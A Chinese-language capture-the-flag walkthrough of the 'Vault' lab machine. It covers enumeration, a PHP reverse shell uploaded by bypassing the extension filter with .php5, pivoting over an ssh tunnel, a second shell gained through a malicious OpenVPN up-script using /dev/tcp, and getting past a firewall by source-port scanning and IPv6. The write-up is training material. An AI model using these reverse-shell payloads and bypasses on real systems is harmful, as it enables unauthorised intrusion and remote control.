出品|MS08067實驗室(www.ms08067.com)
本文作者:是大方子(Ms08067實驗室核心成員)
Kali: 10.10.14.213
靶機地址:10.10.10.109
先用nmap探測靶機
nmap -sC -sT -sV 10.10.10.109
掃描結果如下:
看看80端口有什么東西
我們用gobuster進行探測下
gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100
掃了很久沒有掃出什么東西
后來注意到這句話
We are proud to announce our first client: Sparklays (Sparklays.com still under construction)
嘗試在Url后面加上/sparklay
~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays
我們打開login.php
打開下admin.php
嘗試過繞過以及常見帳戶密碼
奇怪的是發現提交的帳戶密碼竟然是用GET方式,覺得很奇怪試着攔截登陸的數據包並放到sqlmap跑跑看,發現並沒有注入點
sqlmap -r sparklays-admin-login.req --batch
我們在打開design
是Forbidden,那么這個目錄下我們在gobuster下
gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design
打開upload.php
打開design.html看看
點【Change Logo】
我們寫一個反彈的shell進行上傳
<?php
system('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f');
?>
被拒絕上傳了
我們來FUZZ下運行上傳的后綴名看看能不能通過后綴名進行繞過
這里我用到這個字典: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt
這里我用burp的intruder模塊進行fuzz
發現php5是上傳成功的,我們把shell改成shell.php5再次上傳
然后我們kali 開啟監聽1337端口
我們在訪問
http://10.10.10.109/sparklays/design/uploads/shell.php5
然后就會得到一個shell
發現有2個用戶
我在dave的Desktop目錄下面看到一個ssh文件
Cat下得到一下內容
dave:Dav3therav3123
那么我們通過ssh連接到靶機上
我們在看看dave桌面上的其他文件
第一個key還不知道是什么意思就先留着。
第二個Servers應該是對應服務器的IP以及該服務器是什么
我們現在對DNS服務器進行掃描看看,但是靶機上面沒有nmap 但是我們可以用nc當作端口掃描器
我們可以看到192.168.122.4開放了22和80端口。由於是內網的環境我們是無法訪問到192.168.122.4的,所以我們需要做一個隧道把192.168.122.4的80端口映射到我們本地的1234端口
ssh -L 1234:192.168.122.4:80 dave@10.10.10.109
點擊【Click here to modify your DNS Settings】
發現是Not Found
點擊【Click here to test your VPN Configuration】
打開后是一個VPN配置信息,並允許我們測試我們的VPN
這里我找一遍關於如何用ovpn配置文件反彈shell的教程
https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da
我們找下靶機的內網IP地址
讓靶機監聽9002端口
remote 192.168.122.1
nobind
dev tun script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"
先點【Update file】然后再點【Test VPN】
就會得到一個shell
得到userflag
接下來是獲取root flag
我們在dave的目錄里面找到一個ssh憑借
dave:dav3gerous567
我們直接通過ssh連接DNS服務器
我們嘗試sudo -i切換為root,
但是目錄里面沒有我們想要的rootflag
之前我們注意到在dave的機器上有三台服務器,但是最后的The vault 是沒有給出IP地址的,root flag可能就在那台機器上,所以我們需要去找線索
我們在DNS的hosts文件中找到了The vault的IP地址
但是DNS服務器是無法ping通的
但是DNS確實存在192.168.5.2的路由,猜測應該是禁止ping
后來發現DNS存在nmap 我們用nmap來進行端口探測
-Pn:表示默認主機在線,跳過主機發現
-v:顯示詳細信息
-n:不進行DNS解析
發現2個端口都被closed,可能是真的關閉,但是也有可能是防火牆的原因
我們嘗試使用nmap 的 –source-port參數
每個TCP數據包帶有源端口號。默認情況下Nmap會隨機選擇一個可用的傳出源端口來探測目標。該–source-port選項將強制Nmap使用指定的端口作為源端口。這種技術是利用了防火牆盲目地接受基於特定端口號的傳入流量的弱點。端口21(FTP),端口53(DNS)和67(DHCP)是這種掃描類型的常見端口。
發現一個987端口,我們用nc從本地的53端口進行連接
是openssh服務
對於這種防火牆我們可以嘗試使用IPV6的規則繞過
先查看DNS服務器是否支持IPV6
FF02::1指所有開啟了IPv6組播的主機,和IGMP中的224.0.0.1對應
說明DNS服務器支持IPV6
我們在查找下DNS服務器的的鄰居
再看下DNS的路由和ip信息
我們可以看到192.168.5.0/24的流量都要通過ens3到192.168.122.5去
在192.168.155.5是防火牆的地址
我們在看DNS的鄰居,發現還有3條IPV6,說明vault的IPV6應該在里面
我們在查看arp
192.168.122.5對應的ipv6是fe80::5054:ff:fe3a:3bd5
下面這2條ipv6的地址就是 valut和firewall的
fe80::5054:ff:fec6:7066
fe80::5054:ff:fee1:7441
我們直接用nmap進行端口掃描,如果防火牆沒有配置ipv6的規則的話如是valut的地址就會出現之前的987端口
這樣我們就確定了fe80::5054:ff:fec6:7066是vault的IPV6地址,並且防火牆規則並沒有阻攔ipv6的地址,同時我們的DNS服務器可以直接通過ipv6繞過防火牆跟vault進行通訊
那么我們直接ssh進行連接
密碼跟之前的一樣:dav3gerous567
我們可以看到這個pgp的ID為D1EB1F03
我們看下vault系統是否存在密鑰,不存在
但是我們在dave@ubuntu上找到了
所以我們需要把文件發送到dave@ubuntu進行解密
我們退回到dave@DNS上,利用scp將文件拷貝出來
scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .
輸入密碼:dav3gerous567
然后我們需要在把這個文件傳送到dave@ubuntu上面
我們在ubuntu上面執行
然后在DNS上把文件傳輸過來
這樣文件就到了Ubuntu上面了
我們用md5sum來校驗下文件的完整性
文件正常傳輸的
我們用gpg 解密下root.txt.gpg
要求我們輸入密碼
密碼就是我們之前找到的key
得到root flag
轉載請聯系作者並注明出處!
Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/
掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!